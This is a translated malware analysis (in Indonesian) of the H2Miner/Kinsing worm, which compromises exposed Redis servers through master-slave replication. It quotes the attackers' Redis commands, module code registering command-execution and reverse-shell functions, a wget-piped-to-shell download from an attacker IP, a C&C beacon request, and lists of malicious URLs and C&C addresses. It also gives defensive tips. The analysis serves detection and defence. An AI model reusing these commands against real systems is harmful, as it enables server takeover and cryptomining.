Sehari yang lalu, salah satu server di proyek saya diserang oleh worm yang serupa. Mencari jawaban untuk pertanyaan "apa ini?" Saya menemukan artikel yang bagus oleh tim Alibaba Cloud Security. Karena saya tidak menemukan artikel ini tentang Habr, saya memutuskan untuk menerjemahkannya khusus untuk Anda <3
Entri
Tim keamanan Cloud Alibaba baru-baru ini menemukan wabah H2Miner yang tiba-tiba. Jenis worm berbahaya menggunakan kurangnya otorisasi atau kata sandi yang lemah untuk Redis sebagai gateway ke sistem Anda, setelah itu menyinkronkan modul jahatnya sendiri dengan slave melalui sinkronisasi master-slave dan akhirnya mengunduh modul berbahaya ini ke mesin yang diserang dan menjalankan instruksi jahat.
Di masa lalu, serangan pada sistem Anda terutama dilakukan menggunakan metode yang mencakup tugas yang dijadwalkan atau kunci SSH yang ditulis ke mesin Anda setelah penyerang masuk ke Redis. Untungnya, metode ini tidak dapat sering digunakan karena masalah dengan kontrol izin atau karena versi sistem yang berbeda. Namun, metode mengunduh modul jahat ini dapat langsung menjalankan perintah penyerang atau mendapatkan akses ke shell, yang berbahaya bagi sistem Anda.
Karena banyaknya server Redis yang di-host di Internet (hampir 1 juta), tim keamanan Alibaba Cloud, sebagai pengingat ramah, merekomendasikan pengguna untuk tidak memberikan akses ke Redis dari jaringan dan secara teratur memeriksa kekuatan kata sandi mereka, serta apakah mereka tunduk pada pemilihan cepat.
H2miner
H2Miner adalah botnet penambangan untuk sistem berbasis Linux yang dapat menyerang sistem Anda dengan berbagai cara, termasuk kurangnya otorisasi dalam benang Hadoop, Docker, dan Kerentanan Eksekusi Perintah Jarak Jauh Redis (RCE). Botnet bekerja dengan mengunduh skrip berbahaya dan malware untuk menambang data Anda, memperluas serangan secara horizontal dan mempertahankan komunikasi perintah dan kontrol (C&C).
Redis rce
Pavel Toporkov membagikan ilmunya tentang masalah ini di ZeroNights 2018. Setelah versi 4.0, Redis mendukung pemuatan fungsi modul eksternal, yang memberi pengguna kemampuan untuk mengunduh sehingga file yang dikompilasi dengan C ke Redis untuk menjalankan perintah Redis tertentu. Fitur ini, meskipun bermanfaat, mengandung kerentanan di mana, dalam mode master-slave, file dapat disinkronkan dengan slave melalui mode fullresync. Ini dapat digunakan oleh penyerang untuk mentransfer file yang berbahaya. Setelah transfer selesai, penyerang memuat modul ke instance Redis yang diserang dan menjalankan perintah apa pun.
Analisis cacing malware
Baru-baru ini, tim keamanan Alibaba Cloud menemukan bahwa ukuran kelompok penambang H2Miner berbahaya tiba-tiba meningkat secara dramatis. Menurut analisis, proses umum terjadinya serangan adalah sebagai berikut:

H2Miner menggunakan RCE Redis untuk serangan penuh. Pertama, penyerang menyerang server Redis yang tidak dilindungi atau server dengan kata sandi yang lemah.
Kemudian mereka menggunakan perintah
config set dbfilename red2.so
untuk mengubah nama file. Setelah itu, para penyerang
slaveof
perintah
slaveof
untuk mengatur alamat host replikasi master-slave.
Ketika instance Redis yang diserang membuat koneksi master-slave dengan Redis berbahaya, yang menjadi milik penyerang, penyerang mengirimkan modul yang terinfeksi menggunakan perintah fullresync untuk menyinkronkan file. File red2.so kemudian akan diunggah ke mesin target. Setelah itu, para penyerang menggunakan modul unduhan ./red2.so untuk mengunduh file ini. Modul ini dapat menjalankan perintah penyerang atau memulai koneksi balik (pintu belakang) untuk mendapatkan akses ke mesin yang diserang.
if (RedisModule_CreateCommand(ctx, "system.exec", DoCommand, "readonly", 1, 1, 1) == REDISMODULE_ERR) return REDISMODULE_ERR; if (RedisModule_CreateCommand(ctx, "system.rev", RevShellCommand, "readonly", 1, 1, 1) == REDISMODULE_ERR) return REDISMODULE_ERR;
Setelah menjalankan perintah jahat seperti
/ bin / sh -c wget -q -O-http://195.3.146.118/unk.sh | sh> / dev / null 2> & 1
/ bin / sh -c wget -q -O-http://195.3.146.118/unk.sh | sh> / dev / null 2> & 1
, penyerang akan mengatur ulang nama file cadangan dan membongkar modul sistem untuk menghapus jejak. Namun, file red2.so masih akan tetap berada di mesin yang diserang. Pengguna disarankan untuk memperhatikan keberadaan file yang mencurigakan tersebut di folder instance Redis mereka.
Selain menghancurkan beberapa proses jahat untuk mencuri sumber daya, penyerang mengikuti skrip berbahaya dengan mengunduh dan menjalankan file berbahaya dalam bentuk biner ke
142.44.191.122/kinsing . Ini berarti bahwa nama proses atau nama direktori yang mengandung kinsing pada host dapat menunjukkan bahwa mesin ini terinfeksi virus ini.
Menurut hasil rekayasa balik, program jahat pada dasarnya melakukan fungsi-fungsi berikut:
- Unduh dan Eksekusi File
- Penambangan
- Mempertahankan komunikasi C&C dan menjalankan perintah menyerang

Gunakan masscan untuk pemindaian eksternal untuk memperluas dampak. Selain itu, alamat IP server C&C memiliki kode-keras dalam program, dan host yang diserang akan berinteraksi dengan server komunikasi C&C menggunakan permintaan HTTP, di mana informasi zombie (server yang diretas) diidentifikasi dalam header HTTP.

GET /h HTTP/1.1 Host: 91.215.169.111 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36 Arch: amd64 Cores: 2 Mem: 3944 Os: linux Osname: debian Osversion: 10.0 Root: false S: k Uuid: xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxx Version: 26 Accept-Encoding: gzip
Metode serangan lainnya

Alamat dan tautan yang digunakan worm
/ kinsing
• 142.44.191.122/t.sh • 185.92.74.42/h.sh • 142.44.191.122/spr.sh • 142.44.191.122/spre.sh • 195.3.146.118/unk.sh
c & c
• 45.10.88.102 • 91.215.169.111 • 139.99.50.255 • 46.243.253.167 • 195.123.220.193
Kiat
Pertama, Redis tidak boleh terbuka untuk mengakses dari Internet dan harus dilindungi oleh kata sandi yang kuat. Penting juga bahwa klien memverifikasi bahwa tidak ada file red2.so di direktori Redis dan tidak ada "kinsing" dalam nama file / proses pada host.